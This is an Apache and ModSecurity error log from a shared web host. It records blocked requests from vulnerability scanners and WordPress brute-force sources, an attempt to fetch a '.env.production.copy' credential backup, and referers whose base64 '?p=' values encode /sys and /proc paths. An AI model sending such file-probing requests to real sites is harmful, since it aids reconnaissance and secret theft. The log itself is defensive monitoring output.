https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:22:56.708358 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:22:56.770247 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.64:44458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:56.770523 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.64:44458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:56.814427 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.106:62873] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:56.814724 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.106:62873] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:57.028138 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.60:59510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:57.028596 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.60:59510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:57.157046 2026] [security2:error] [pid 646876:tid 646924] [remote 50.87.144.107:52254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.aitess-sa.com"] [uri "/wp-login.php"] [unique_id "ai30YdyTkdrNlD40tSHQEAAARy0"] [Sat Jun 13 18:22:57.197048 2026] [security2:error] [pid 646876:tid 646911] [remote 209.87.149.26:58319] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai30YdyTkdrNlD40tSHQEQAAYSA"] [Sat Jun 13 18:22:57.207064 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ3 [Sat Jun 13 18:22:57.207507 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ3 [Sat Jun 13 18:22:57.208643 2026] [security2:error] [pid 715691:tid 715820] [remote 17.246.15.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YbV-dFiaX9AtWiQfmAABIW0"] [Sat Jun 13 18:22:57.347065 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.72:21101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:57.347500 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.72:21101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:57.454434 2026] [security2:error] [pid 715691:tid 715816] [remote 17.246.19.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YbV-dFiaX9AtWiQfpQABemk"] [Sat Jun 13 18:22:57.570743 2026] [autoindex:error] [pid 715691:tid 715936] [client 43.159.145.153:33778] AH01276: Cannot serve directory /home4/paintyou/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://paintyourplane.com [Sat Jun 13 18:22:57.672503 2026] [security2:error] [pid 646876:tid 646990] [remote 17.22.245.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YdyTkdrNlD40tSHQHQAAcm8"] [Sat Jun 13 18:22:57.770280 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:22:57.770604 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:22:57.772093 2026] [security2:error] [pid 715691:tid 715797] [remote 17.241.227.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YbV-dFiaX9AtWiQftgABJ1Y"] [Sat Jun 13 18:22:57.826819 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.59:30819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:57.827263 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.59:30819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:58.180752 2026] [access_compat:error] [pid 715691:tid 715900] [client 66.249.75.131:45023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:58.181133 2026] [access_compat:error] [pid 715691:tid 715900] [client 66.249.75.131:45023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:58.225908 2026] [security2:error] [pid 715691:tid 715758] [remote 17.241.227.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YrV-dFiaX9AtWiQfygABdy8"] [Sat Jun 13 18:22:58.232821 2026] [security2:error] [pid 715691:tid 715752] [remote 17.22.245.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YrV-dFiaX9AtWiQfywABZSo"] [Sat Jun 13 18:22:58.259599 2026] [security2:error] [pid 715691:tid 715762] [remote 17.246.19.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YrV-dFiaX9AtWiQfzAABDTM"] [Sat Jun 13 18:22:58.279994 2026] [security2:error] [pid 646876:tid 646982] [remote 217.160.212.27:43402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai30YtyTkdrNlD40tSHQNQAAImc"] [Sat Jun 13 18:22:58.300136 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2s= [Sat Jun 13 18:22:58.300585 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2s= [Sat Jun 13 18:22:58.361069 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.15:58313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:58.361408 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.15:58313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:58.485908 2026] [security2:error] [pid 715691:tid 715764] [remote 17.246.19.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YrV-dFiaX9AtWiQf1gABLTU"] [Sat Jun 13 18:22:58.507150 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.98:51032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:58.507480 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.98:51032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:58.822417 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:58.822723 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:58.933920 2026] [security2:error] [pid 646876:tid 647135] [client 23.137.105.241:42376] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.copy"] [unique_id "ai30YtyTkdrNlD40tSHQRAAAAH8"] [Sat Jun 13 18:22:58.974373 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.54:31147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:58.976644 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.54:31147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:59.219358 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.14:50198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:59.219646 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.14:50198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:59.245944 2026] [security2:error] [pid 646876:tid 646960] [remote 17.22.245.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Y9yTkdrNlD40tSHQTAAATlE"] [Sat Jun 13 18:22:59.270148 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.242.16:60688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:22:59.270422 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.242.16:60688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:22:59.346797 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvaWQ= [Sat Jun 13 18:22:59.347088 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvaWQ= [Sat Jun 13 18:22:59.438167 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.28:30828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:59.438432 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.28:30828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:59.626019 2026] [security2:error] [pid 715691:tid 715712] [remote 17.246.19.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Y7V-dFiaX9AtWiQgBAABaAI"] [Sat Jun 13 18:22:59.745088 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.12:45910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:59.745358 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.12:45910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:59.838218 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:59.838524 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 